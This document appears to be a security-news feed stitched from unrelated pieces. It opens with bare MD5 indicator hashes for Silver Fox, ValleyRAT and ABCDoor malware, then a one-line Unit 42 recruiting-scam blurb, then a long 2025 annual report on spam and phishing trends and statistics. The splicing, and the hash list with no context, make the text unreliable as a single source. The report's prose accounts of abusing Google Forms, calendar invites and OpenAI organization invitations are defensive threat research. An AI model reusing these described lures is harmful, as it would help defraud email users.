0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

Unit 42 identifies a recruitment phishing campaign targeting senior professionals via impersonation and fraudulent resume fees.

The post Threat Brief: Recruiting Scheme Impersonating Palo Alto Networks Talent Acquisition Team appeared first on Unit 42.

The year in figures

• 44.99% of all emails sent worldwide and 43.27% of all emails sent in the Russian web segment were spam
• 32.50% of all spam emails were sent from Russia
• Kaspersky Mail Anti-Virus blocked 144,722,674 malicious email attachments
• Our Anti-Phishing system thwarted 554,002,207 attempts to follow phishing links

Phishing and scams in 2025

Entertainment-themed phishing attacks and scams

In 2025, online streaming services remained a primary theme for phishing sites within the entertainment sector, typically by offering early access to major premieres ahead of their official release dates. Alongside these, there was a notable increase in phishing pages mimicking ticket aggregation platforms for live events. Cybercriminals lured users with offers of free tickets to see popular artists on pages that mirrored the branding of major ticket distributors. To participate in these “promotions”, victims were required to pay a nominal processing or ticket-shipping fee. Naturally, after paying the fee, the users never received any tickets.

In addition to concert-themed bait, other music-related scams gained significant traction. Users were directed to phishing pages and prompted to “vote for their favorite artist”, a common activity within fan communities. To bolster credibility, the scammers leveraged the branding of major companies like Google and Spotify. This specific scheme was designed to harvest credentials for multiple platforms simultaneously, as users were required to sign in with their Facebook, Instagram, or email credentials to participate.

As a pretext for harvesting Spotify credentials, attackers offered users a way to migrate their playlists to YouTube. To complete the transfer, victims were to just enter their Spotify credentials.

Beyond standard phishing, threat actors leveraged Spotify’s popularity for scams. In Brazil, scammers promoted a scheme where users were purportedly paid to listen to and rate songs.

To “withdraw” their earnings, users were required to provide their identification number for PIX, Brazil’s instant payment system.

Users were then prompted to verify their identity. To do so, the victim was required to make a small, one-time “verification payment”, an amount significantly lower than the potential earnings.

The form for submitting this “verification payment” was designed to appear highly authentic, even requesting various pieces of personal data. It is highly probable that this data was collected for use in subsequent attacks.

In another variation, users were invited to participate in a survey in exchange for a $1000 gift card. However, in a move typical of a scam, the victim was required to pay a small processing or shipping fee to claim the prize. Once the funds were transferred, the attackers vanished, and the website was taken offline.

Even deciding to go to an art venue with a girl from a dating site could result in financial loss. In this scenario, the “date” would suggest an in-person meeting after a brief period of rapport-building. They would propose a relatively inexpensive outing, such as a movie or a play at a niche theater. The scammer would go so far as to provide a link to a specific page where the victim could supposedly purchase tickets for the event.

To enhance the site’s perceived legitimacy, it even prompted the user to select their city of residence.

However, once the “ticket payment” was completed, both the booking site and the individual from the dating platform would vanish.

A similar tactic was employed by scam sites selling tickets for escape rooms. The design of these pages closely mirrored legitimate websites to lower the target’s guard.

Phishing pages masquerading as travel portals often capitalize on a sense of urgency, betting that a customer eager to book a “last-minute deal” will overlook an illegitimate URL. For example, the fraudulent page shown below offered exclusive tours of Japan, purportedly from a major Japanese tour operator.

Sensitive data at risk: phishing via government services

To harvest users’ personal data, attackers utilized a traditional phishing framework: fraudulent forms for document processing on sites posing as government portals. The visual design and content of these phishing pages meticulously replicated legitimate websites, offering the same services found on official sites. In Brazil, for instance, attackers collected personal data from individuals under the pretext of issuing a Rural Property Registration Certificate (CCIR).

Through this method, fraudsters tried to gain access to the victim’s highly sensitive information, including their individual taxpayer registry (CPF) number. This identifier serves as a unique key for every Brazilian national to access private accounts on government portals. It is also utilized in national databases and displayed on personal identification documents, making its interception particularly dangerous. Scammer access to this data poses a severe risk of identity theft, unauthorized access to government platforms, and financial exposure.

Furthermore, users were at risk of direct financial loss: in certain instances, the attackers requested a “processing fee” to facilitate the issuance of the important document.

Fraudsters also employed other methods to obtain CPF numbers. Specifically, we discovered phishing pages mimicking the official government service portal, which requires the CPF for sign-in.

Another theme exploited by scammers involved government payouts. In 2025, Singaporean citizens received government vouchers ranging from $600 to $800 in honor of the country’s 60th anniversary. To redeem these, users were required to sign in to the official program website. Fraudsters rushed to create web pages designed to mimic this site. Interestingly, the primary targets in this campaign were Telegram accounts, despite the fact that Telegram credentials were not a requirement for signing in to the legitimate portal.

We also identified a scam targeting users in Norway who were looking to renew or replace their driver’s licenses. Upon opening a website masquerading as the official Norwegian Public Roads Administration website, visitors were prompted to enter their vehicle registration and phone numbers.

Next, the victim was prompted for sensitive data, such as the personal identification number unique to every Norwegian citizen. By doing so, the attackers not only gained access to confidential information but also reinforced the illusion that the victim was interacting with an official website.

Once the personal data was submitted, a fraudulent page would appear, requesting a “processing fee” of 1200 kroner. If the victim entered their credit card details, the funds were transferred directly to the scammers with no possibility of recovery.

In Germany, attackers used the pretext of filing tax returns to trick users into providing their email user names and passwords on phishing pages.

A call to urgent action is a classic tactic in phishing scenarios. When combined with the threat of losing property, these schemes become highly effective bait, distracting potential victims from noticing an incorrect URL or a poorly designed website. For example, a phishing warning regarding unpaid vehicle taxes was used as a tool by attackers targeting credentials for the UK government portal.

We have observed that since the spring of 2025, there has been an increase in emails mimicking automated notifications from the Russian government services portal. These messages were distributed under the guise of application status updates and contained phishing links.

We also recorded vishing attacks targeting users of government portals. Victims were prompted to “verify account security” by calling a support number provided in the email. To lower the users’ guard, the attackers included fabricated technical details in the emails, such as the IP address, device model, and timestamp of an alleged unauthorized sign-in.

Last year, attackers also disguised vishing emails as notifications from microfinance institutions or credit bureaus regarding new loan applications. The scammers banked on the likelihood that the recipient had not actually applied for a loan. They would then prompt the victim to contact a fake support service via a spoofed support number.

Know Your Customer

As an added layer of data security, many services now implement biometric verification (facial recognition, fingerprints, and retina scans), as well as identity document verification and digital signatures. To harvest this data, fraudsters create clones of popular platforms that utilize these verification protocols. We have previously detailed the mechanics of this specific type of data theft.

In 2025, we observed a surge in phishing attacks targeting users under the guise of Know Your Customer (KYC) identity verification. KYC protocols rely on a specific set of user data for identification. By spoofing the pages of payment services such as Vivid Money, fraudsters harvested the information required to pass KYC authentication.

Notably, this threat also impacted users of various other platforms that utilize KYC procedures.

A distinctive feature of attacks on the KYC process is that, in addition to the victim’s full name, email address, and phone number, phishers request photos of their passport or face, sometimes from multiple angles. If this information falls into the hands of threat actors, the consequences extend beyond the loss of account access; the victim’s credentials can be sold on dark web marketplaces, a trend we have highlighted in previous reports.

Messaging app phishing

Account hijacking on messaging platforms like WhatsApp and Telegram remains one of the primary objectives of phishing and scam operations. While traditional tactics, such as suspicious links embedded in messages, have been well-known for some time, the methods used to steal credentials are becoming increasingly sophisticated.

For instance, Telegram users were invited to participate in a prize giveaway purportedly hosted by a famous athlete. This phishing attack, which masqueraded as an NFT giveaway, was executed through a Telegram Mini App. This marks a shift in tactics, as attackers previously relied on external web pages for these types of schemes.

In 2025, new variations emerged within the familiar framework of distributing phishing links via Telegram. For example, we observed prompts inviting users to vote for the “best dentist” or “best COO” in town.

The most prevalent theme in these voting-based schemes, children’s contests, was distributed primarily through WhatsApp. These phishing pages showed little variety; attackers utilized a standardized website design and set of “bait” photos, simply localizing the language based on the target audience’s geographic location.

To participate in the vote, the victim was required to enter the phone number linked to their WhatsApp account.

They were then prompted to provide a one-time authentication code for the messaging app.

The following are several other popular methods used by fraudsters to hijack user credentials.

In China, phishing pages meticulously replicated the WhatsApp interface. Victims were notified that their accounts had purportedly been flagged for “illegal activity”, necessitating “additional verification”.

The victim was redirected to a page to enter their phone number, followed by a request for their authorization code.

In other instances, users received messages allegedly from WhatsApp support regarding account authentication via SMS. As with the other scenarios described, the attackers’ objective was to obtain the authentication code required to hijack the account.

Fraudsters enticed WhatsApp users with an offer to link an app designed to “sync communications” with business contacts.

To increase the perceived legitimacy of the phishing site, the attackers even prompted users to create custom credentials for the page.

After that, the user was required to “purchase a subscription” to activate the application. This allowed the scammers to harvest credit card data, leaving the victim without the promised service.

To lure Telegram users, phishers distributed invitations to online dating chats.

Attackers also heavily leveraged the promise of free Telegram Premium subscriptions. While these phishing pages were previously observed only in Russian and English, the linguistic scope of these campaigns expanded significantly this year. As in previous iterations, activating the subscription required the victim to sign in to their account, which could result in the loss of account access.

Exploiting the ChatGPT hype

Artificial intelligence is increasingly being leveraged by attackers as bait. For example, we have identified fraudulent websites mimicking the official payment page for ChatGPT Plus subscriptions.

Social media marketing through LLMs was also a potential focal point for user interest. Scammers offered “specialized prompt kits” designed for social media growth; however, once payment was received, they vanished, leaving victims without the prompts or their money.

The promise of easy income through neural networks has emerged as another tactic to attract potential victims. Fraudsters promoted using ChatGPT to place bets, promising that the bot would do all the work while the user collected the profits. These services were offered at a “special price” valid for only 15 minutes after the page was opened. This narrow window prevented the victim from critically evaluating the impulse purchase.

Job opportunities with a catch

To attract potential victims, scammers exploited the theme of employment by offering high-paying remote positions. Applicants responding to these advertisements did more than just disclose their personal data; in some cases, fraudsters requested a small sum under the pretext of document processing or administrative fees. To convince victims that the offer was legitimate, attackers impersonated major brands, leveraging household names to build trust. This allowed them to lower the victims’ guard, even when the employment terms sounded too good to be true.

We also observed schemes where, after obtaining a victim’s data via a phishing site, scammers would follow up with a phone call – a tactic aimed at tricking the user into disclosing additional personal data.

By analyzing current job market trends, threat actors also targeted popular career paths to steal messaging app credentials. These phishing schemes were tailored to specific regional markets. For example, in the UAE, fake “employment agency” websites were circulating.

In a more sophisticated variation, users were asked to complete a questionnaire that required the phone number linked to their Telegram account.

To complete the registration, users were prompted for a code which, in reality, was a Telegram authorization code.

Notably, the registration process did not end there; the site continued to request additional information to “set up an account” on the fraudulent platform. This served to keep victims in the dark, maintaining their trust in the malicious site’s perceived legitimacy.

After finishing the registration, the victim was told to wait 24 hours for “verification”, though the scammers’ primary objective, hijacking the Telegram account, had already been achieved.

Simpler phishing schemes were also observed, where users were redirected to a page mimicking the Telegram interface. By entering their phone number and authorization code, victims lost access to their accounts.

Job seekers were not the only ones targeted by scammers. Employers’ accounts were also in the crosshairs, specifically on a major Russian recruitment portal. On a counterfeit page, the victim was asked to “verify their account” in order to post a job listing, which required them to enter their actual sign-in credentials for the legitimate site.

Spam in 2025

Malicious attachments

Password-protected archives

Attackers began aggressively distributing messages with password-protected malicious archives in 2024. Throughout 2025, these archives remained a popular vector for spreading malware, and we observed a variety of techniques designed to bypass security solutions.

For example, threat actors sent emails impersonating law firms, threatening victims with legal action over alleged “unauthorized domain name use”. The recipient was prompted to review potential pre-trial settlement options detailed in an attached document. The attachment consisted of an unprotected archive containing a secondary password-protected archive and a file with the password. Disguised as a legal document within this inner archive was a malicious WSF file, which installed a Trojan into the system via startup. The Trojan then stealthily downloaded and installed Tor, which allowed it to regularly exfiltrate screenshots to the attacker-controlled C2 server.

In addition to archives, we also encountered password-protected PDF files containing malicious links over the past year.

E-signature service exploits

Emails using the pretext of “signing a document” to coerce users into clicking phishing links or opening malicious attachments were quite common in 2025. The most prevalent scheme involved fraudulent notifications from electronic signature services. While these were primarily used for phishing, one specific malware sample identified within this campaign is of particular interest.

The email, purportedly sent from a well-known document-sharing platform, notified the recipient that they had been granted access to a “contract” attached to the message. However, the attachment was not the expected PDF; instead, it was a nested email file named after the contract. The body of this nested message mirrored the original, but its attachment utilized a double extension: a malicious SVG file containing a Trojan was disguised as a PDF document. This multi-layered approach was likely an attempt to obfuscate the malware and bypass security filters.

“Business correspondence” impersonating industrial companies

In the summer of last year, we observed mailshots sent in the name of various existing industrial enterprises. These emails contained DOCX attachments embedded with Trojans. Attackers coerced victims into opening the malicious files under the pretext of routine business tasks, such as signing a contract or drafting a report.

The authors of this malicious campaign attempted to lower users’ guard by using legitimate industrial sector domains in the “From” address. Furthermore, the messages were routed through the mail servers of a reputable cloud provider, ensuring the technical metadata appeared authentic. Consequently, even a cautious user could mistake the email for a genuine communication, open the attachment, and compromise their device.

Attacks on hospitals

Hospitals were a popular target for threat actors this past year: they were targeted with malicious emails impersonating well-known insurance providers. Recipients were threatened with legal action regarding alleged “substandard medical services”. The attachments, described as “medical records and a written complaint from an aggrieved patient”, were actually malware. Our solutions detect this threat as Backdoor.Win64.BrockenDoor, a backdoor capable of harvesting system information and executing malicious commands on the infected device.

We also came across emails with a different narrative. In those instances, medical staff were requested to facilitate a patient transfer from another hospital for ongoing observation and treatment. These messages referenced attached medical files containing diagnostic and treatment history, which were actually archives containing malicious payloads.

To bolster the perceived legitimacy of these communications, attackers did more than just impersonate famous insurers and medical institutions; they registered look-alike domains that mimicked official organizations’ domains by appending keywords such as “-insurance” or “-med.” Furthermore, to lower the victims’ guard, scammers included a fake “Scanned by Email Security” label.

Messages containing instructions to run malicious scripts

Last year, we observed unconventional infection chains targeting end-user devices. Threat actors continued to distribute instructions for downloading and executing malicious code, rather than attaching the malware files directly. To convince the recipient to follow these steps, attackers typically utilized a lure involving a “critical software update” or a “system patch” to fix a purported vulnerability. Generally, the first step in the instructions required launching the command prompt with administrative privileges, while the second involved entering a command to download and execute the malware: either a script or an executable file.

In some instances, these instructions were contained within a PDF file. The victim was prompted to copy a command into PowerShell that was neither obfuscated nor hidden. Such schemes target non-technical users who would likely not understand the command’s true intent and would unknowingly infect their own devices.

Scams

Law enforcement impersonation scams in the Russian web segment

In 2025, extortion campaigns involving actors posing as law enforcement – a trend previously more prevalent in Europe – were adapted to target users across the Commonwealth of Independent States.

For example, we identified messages disguised as criminal subpoenas or summonses purportedly issued by Russian law enforcement agencies. However, the specific departments cited in these emails never actually existed. The content of these “summonses” would also likely raise red flags for a cautious user. This blackmail scheme relied on the victim, in their state of panic, not scrutinizing the contents of the fake summons.

To intimidate recipients, the attackers referenced legal frameworks and added forged signatures and seals to the “subpoenas”. In reality, neither the cited statutes nor the specific civil service positions exist in Russia.

We observed similar attacks – employing fabricated government agencies and fictitious legal acts – in other CIS countries, such as Belarus.

Fraudulent investment schemes

Threat actors continued to aggressively exploit investment themes in their email scams. These emails typically promise stable, remote income through “exclusive” investment opportunities. This remains one of the most high-volume and adaptable categories of email scams. Threat actors embedded fraudulent links both directly within the message body and inside various types of attachments: PDF, DOC, PPTX, and PNG files. Furthermore, they increasingly leveraged legitimate Google services, such as Google Docs, YouTube, and Google Forms, to distribute these communications. The link led to the site of the “project” where the victim was prompted to provide their phone number and email. Subsequently, users were invited to invest in a non-existent project.

We have previously documented these mailshots: they were originally targeted at Russian-speaking users and were primarily distributed under the guise of major financial institutions. However, in 2025, this investment-themed scam expanded into other CIS countries and Europe. Furthermore, the range of industries that spammers impersonated grew significantly. For instance, in their emails, attackers began soliciting investments for projects supposedly led by major industrial-sector companies in Kazakhstan and the Czech Republic.

Fraudulent “brand partner” recruitment

This specific scam operates through a multi-stage workflow. First, the target company receives a communication from an individual claiming to represent a well-known global brand, inviting them to register as a certified supplier or business partner. To bolster the perceived authenticity of the offer, the fraudsters send the victim an extensive set of forged documents. Once these documents are signed, the victim is instructed to pay a “deposit”, which the attackers claim will be fully refunded once the partnership is officially established.

These mailshots were first detected in 2025 and have rapidly become one of the most prevalent forms of email-based fraud. In December 2025 alone, we blocked over 80,000 such messages. These campaigns specifically targeted the B2B sector and were notable for their high level of variation – ranging from their technical properties to the diversity of the message content and the wide array of brands the attackers chose to impersonate.

Fraudulent overdue rent notices

Last year, we identified a new theme in email scams: recipients were notified that the payment deadline for a leased property had expired and were urged to settle the “debt” immediately. To prevent the victim from sending funds to their actual landlord, the email claimed that banking details had changed. The “debtor” was then instructed to request the new payment information – which, of course, belonged to the fraudsters. These mailshots primarily targeted French-speaking countries; however, in December 2025, we discovered a similar scam variant in German.

QR codes in scam letters

In 2025, we observed a trend where QR codes were utilized not only in phishing attempts but also in extortion emails. In a classic blackmail scam, the user is typically intimidated by claims that hackers have gained access to sensitive data. To prevent the public release of this information, the attackers demand a ransom payment to their cryptocurrency wallet.

Previously, to bypass email filters, scammers attempted to obfuscate the wallet address by using various noise contamination techniques. In last year’s campaigns, however, scammers shifted to including a QR code that contained the cryptocurrency wallet address.

News agenda

As in previous years, spammers in 2025 aggressively integrated current events into their fraudulent messaging to increase engagement.

For example, following the launch of $TRUMP memecoins surrounding Donald Trump’s inauguration, we identified scam campaigns promoting the “Trump Meme Coin” and “Trump Digital Trading Cards”. In these instances, scammers enticed victims to click a link to claim “free NFTs”.

We also observed ads offering educational credentials. Spammers posted these ads as comments on legacy, unmoderated forums; this tactic ensured that notifications were automatically pushed to all users subscribed to the thread. These notifications either displayed the fraudulent link directly in the comment preview or alerted users to a new post that redirected them to spammers’ sites.

In the summer, when the wedding of Amazon founder Jeff Bezos became a major global news story, users began receiving Nigerian-style scam messages purportedly from Bezos himself, as well as from his former wife, MacKenzie Scott. These emails promised recipients substantial sums of money, framed either as charitable donations or corporate compensation from Amazon.

During the BLACKPINK world tour, we observed a wave of spam advertising “luggage scooters”. The scammers claimed these were the exact motorized suitcases used by the band members during their performances.

Finally, in the fall of 2025, traditionally timed to coincide with the launch of new iPhones, we identified scam campaigns featuring surveys that offered participants a chance to “win” a fictitious iPhone 17 Pro.

After completing a brief survey, the user was prompted to provide their contact information and physical address, as well as pay a “delivery fee” – which was the scammers’ ultimate objective. Upon entering their credit card details into the fraudulent site, the victim risked losing not only the relatively small delivery charge but also the entire balance in their bank account.

The widespread popularity of Ozempic was also reflected in spam campaigns; users were bombarded with offers to purchase versions of the drug or questionable alternatives.

Localized news events also fall under the scrutiny of fraudsters, serving as the basis for scam narratives. For instance, last summer, coinciding with the opening of the tax season in South Africa, we began detecting phishing emails impersonating the South African Revenue Service (SARS). These messages notified taxpayers of alleged “outstanding balances” that required immediate settlement.

Methods of distributing email threats

Google services

In 2025, threat actors increasingly leveraged various Google services to distribute email-based threats. We observed the exploitation of Google Calendar: scammers would create an event containing a WhatsApp contact number in the description and send an invitation to the target. For instance, companies received emails regarding product inquiries that prompted them to move the conversation to the messaging app to discuss potential “collaboration”.

Spammers employed a similar tactic using Google Classroom. We identified samples offering SEO optimization services that likewise directed victims to a WhatsApp number for further communication.

We also detected the distribution of fraudulent links via legitimate YouTube notifications. Attackers would reply to user comments under various videos, triggering an automated email notification to the victim. This email contained a link to a video that displayed only a message urging the viewer to “check the description”, where the actual link to the scam site was located. As the victim received an email containing the full text of the fraudulent comment, they were often lured through this chain of links, eventually landing on the scam site.

Over the past two years or so, there has been a significant rise in attacks utilizing Google Forms. Fraudsters create a survey with an enticing title and place the scam messaging directly in the form’s description. They then submit the form themselves, entering the victims’ email addresses into the field for the respondent email. This triggers legitimate notifications from the Google Forms service to the targeted addresses. Because these emails originate from Google’s own mail servers, they appear authentic to most spam filters. The attackers rely on the victim focusing on the “bait” description containing the fraudulent link rather than the standard form header.

Google Groups also emerged as a popular tool for spam distribution last year. Scammers would create a group, add the victims’ email addresses as members, and broadcast spam through the service. This scheme proved highly effective: even if a security solution blocked the initial spam message, the user could receive a deluge of automated replies from other addresses on the member list.

At the end of 2025, we encountered a legitimate email in terms of technical metadata that was sent via Google and contained a fraudulent link. The message also included a verification code for the recipient’s email address. To generate this notification, scammers filled out the account registration form in a way that diverted the recipient’s attention toward a fraudulent site. For example, instead of entering a first and last name, the attackers inserted text such as “Personal Link” followed by a phishing URL, utilizing noise contamination techniques. By entering the victim’s email address into the registration field, the scammers triggered a legitimate system notification containing the fraudulent link.

OpenAI

In addition to Google services, spammers leveraged other platforms to distribute email threats, notably OpenAI, riding the wave of artificial intelligence popularity. In 2025, we observed emails sent via the OpenAI platform into which spammers had injected short messages, fraudulent links, or phone numbers.

This occurs during the account registration process on the OpenAI platform, where users are prompted to create an organization to generate an API key. Spammers placed their fraudulent content directly into the field designated for the organization’s name. They then added the victims’ email addresses as organization members, triggering automated platform invitations that delivered the fraudulent links or contact numbers directly to the targets.

Spear phishing and BEC attacks in 2025

QR codes

The use of QR codes in spear phishing has become a conventional tactic that threat actors continued to employ throughout 2025. Specifically, we observed the persistence of a major trend identified in our previous report: the distribution of phishing documents disguised as notifications from a company’s HR department.

In these campaigns, attackers impersonated HR team members, requesting that employees review critical documentation, such as a new corporate policy or code of conduct. These documents were typically attached to the email as PDF files.

To maintain the ruse, the PDF document contained a highly convincing call to action, prompting the user to scan a QR code to access the relevant file. While attackers previously embedded these codes directly into the body of the email, last year saw a significant shift toward placing them within attachments – most likely in an attempt to bypass email security filters.

Upon scanning the QR code within the attachment, the victim was redirected to a phishing page meticulously designed to mimic a Microsoft authentication form.

In addition to fraudulent HR notifications, threat actors created scheduled meetings within the victim’s email calendar, placing DOC or PDF files containing QR codes in the event descriptions. Leveraging calendar invites to distribute malicious links is a legacy technique that was widely observed during scam campaigns in 2019. After several years of relative dormancy, we saw a resurgence of this technique last year, now integrated into more sophisticated spear phishing operations.

In one specific example, the attachment was presented as a “new voicemail” notification. To listen to the recording, the user was prompted to scan a QR code and sign in to their account on the resulting page.

As in the previous scenario, scanning the code redirected the user to a phishing page, where they risked losing access to their Microsoft account or internal corporate sites.

Link protection services

Threat actors utilized more than just QR codes to hide phishing URLs and bypass security checks. In 2025, we discovered that fraudsters began weaponizing link protection services for the same purpose. The primary function of these services is to intercept and scan URLs at the moment of clicking to prevent users from reaching phishing sites or downloading malware. However, attackers are now abusing this technology by generating phishing links that security systems mistakenly categorize as “safe”.

This technique is employed in both mass and spear phishing campaigns. It is particularly dangerous in targeted attacks, which often incorporate employees’ personal data and mimic official corporate branding. When combined with these characteristics, a URL generated through a legitimate link protection service can significantly bolster the perceived authenticity of a phishing email.

After opening a URL that seemed safe, the user was directed to a phishing site.

BEC and fabricated email chains

In Business Email Compromise (BEC) attacks, threat actors have also begun employing new techniques, the most notable of which is the use of fake forwarded messages.

This BEC attack unfolded as follows. An employee would receive an email containing a previous conversation between the sender and another colleague. The final message in this thread was typically an automated out-of-office reply or a request to hand off a specific task to a new assignee. In reality, however, the entire initial conversation with the colleague was completely fabricated. These messages lacked the thread-index headers, as well as other critical header values, that would typically verify the authenticity of an actual email chain.

In the example at hand, the victim was pressured to urgently pay for a license using the provided banking details. The PDF attachments included wire transfer instructions and a counterfeit cover letter from the bank.

The bank does not actually have an office at the address provided in the documents.

Statistics: phishing

In 2025, Kaspersky solutions blocked 554,002,207 attempts to follow fraudulent links. In contrast to the trends of previous years, we did not observe any major spikes in phishing activity; instead, the volume of attacks remained relatively stable throughout the year, with the exception of a minor decline in December.

Anti-Phishing triggers, 2025 (download)

The phishing and scam landscape underwent a shift. While in 2024, we saw a high volume of mass attacks, their frequency declined in 2025. Furthermore, redirection-based schemes, which were frequently used for online fraud in 2024, became less prevalent in 2025.

Map of phishing attacks

As in the previous year, Peru remains the country with the highest percentage (17.46%) of users targeted by phishing attacks. Bangladesh (16.98%) took second place, entering the TOP 10 for the first time, while Malawi (16.65%), which was absent from the 2024 rankings, was third. Following these are Tunisia (16.19%), Colombia (15.67%), the latter also being a newcomer to the TOP 10, Brazil (15.48%), and Ecuador (15.27%). They are followed closely by Madagascar and Kenya, both with a 15.23% share of attacked users. Rounding out the list is Vietnam, which previously held the third spot, with a share of 15.05%.

Country/territory	Share of attacked users**
Peru	17.46%
Bangladesh	16.98%
Malawi	16.65%
Tunisia	16.19%
Colombia	15.67%
Brazil	15.48%
Ecuador	15.27%
Madagascar	15.23%
Kenya	15.23%
Vietnam	15.05%

** Share of users who encountered phishing out of the total number of Kaspersky users in the country/territory, 2025

Top-level domains

In 2025, breaking a trend that had persisted for several years, the majority of phishing pages were hosted within the XYZ TLD zone, accounting for 21.64% – a three-fold increase compared to 2024. The second most popular zone was TOP (15.45%), followed by BUZZ (13.58%). This high demand can be attributed to the low cost of domain registration in these zones. The COM domain, which had previously held the top spot consistently, fell to fourth place (10.52%). It is important to note that this decline is partially driven by the popularity of typosquatting attacks: threat actors frequently spoof sites within the COM domain by using alternative suffixes, such as example-com.site instead of example.com. Following COM is the BOND TLD, entering the TOP 10 for the first time with a 5.56% share. As this zone is typically associated with financial websites, the surge in malicious interest there is a logical progression for financial phishing. The sixth and seventh positions are held by ONLINE (3.39%) and SITE (2.02%), which occupied the fourth and fifth spots, respectively, in 2024. In addition, three domain zones that had not previously appeared in our statistics emerged as popular hosting environments for phishing sites. These included the CFD domain (1.97%), typically used for websites in the clothing, fashion, and design sectors; the Polish national top-level domain, PL (1.75%); and the LOL domain (1.60%).

Most frequent top-level domains for phishing pages, 2025 (download)

Organizations targeted by phishing attacks

The rankings of organizations targeted by phishers are based on detections by the Anti-Phishing deterministic component on user computers. The component detects all pages with phishing content that the user has tried to open by following a link in an email message or on the web, as long as links to these pages are present in the Kaspersky database.

Phishing pages impersonating web services (27.42%) and global internet portals (15.89%) maintained their positions in the TOP 10, continuing to rank first and second, respectively. Online stores (11.27%), a traditional favorite among threat actors, returned to the third spot. In 2025, phishers showed increased interest in online gamers: websites mimicking gaming platforms jumped from ninth to fifth place (7.58%). These are followed by banks (6.06%), payment systems (5.93%), messengers (5.70%), and delivery services (5.06%). Phishing attacks also targeted social media (4.42%) and government services (1.77%) accounts.

Distribution of targeted organizations by category, 2025 (download)

Statistics: spam

Share of spam in email traffic

In 2025, the average share of spam in global email traffic was 44.99%, representing a decrease of 2.28 percentage points compared to the previous year. Notably, contrary to the trends of the past several years, the fourth quarter was the busiest one: an average of 49.26% of emails were categorized as spam, with peak activity occurring in November (52.87%) and December (51.80%). Throughout the rest of the year, the distribution of junk mail remained relatively stable without significant spikes, maintaining an average share of approximately 43.50%.

Share of spam in global email traffic, 2025 (download)

In the Russian web segment (Runet), we observed a more substantial decline: the average share of spam decreased by 5.3 percentage points to 43.27%. Deviating from the global trend, the fourth quarter was the quietest period in Russia, with a share of 41.28%. We recorded the lowest level of spam activity in December, when only 36.49% of emails were identified as junk. January and February were also relatively calm, with average values of 41.94% and 43.09%, respectively. Conversely, the Runet figures for March–October correlated with global figures: no major surges were observed, spam accounting for an average of 44.30% of total email traffic during these months.

Share of spam in Runet email traffic, 2025 (download)

Countries and territories where spam originated

The top three countries in the 2025 rankings for the volume of outgoing spam mirror the distribution of the previous year: Russia, China, and the United States. However, the share of spam originating from Russia decreased from 36.18% to 32.50%, while the shares of China (19.10%) and the U.S. (10.57%) each increased by approximately 2 percentage points. Germany rose to fourth place (3.46%), up from sixth last year, displacing Kazakhstan (2.89%). Hong Kong followed in sixth place (2.11%). The Netherlands and Japan shared the next spot with identical shares of 1.95%; however, we observed a year-over-year increase in outgoing spam from the Netherlands, whereas Japan saw a decline. The TOP 10 is rounded out by Brazil (1.94%) and Belarus (1.74%), the latter ranking for the first time.

TOP 20 countries and territories where spam originated in 2025 (download)

Malicious email attachments

In 2025, Kaspersky solutions blocked 144,722,674 malicious email attachments, an increase of nineteen million compared to the previous year. The beginning and end of the year were traditionally the most stable periods; however, we also observed a notable decline in activity during August and September. Peaks in email antivirus detections occurred in June, July, and November.

Email antivirus detections, 2025 (download)

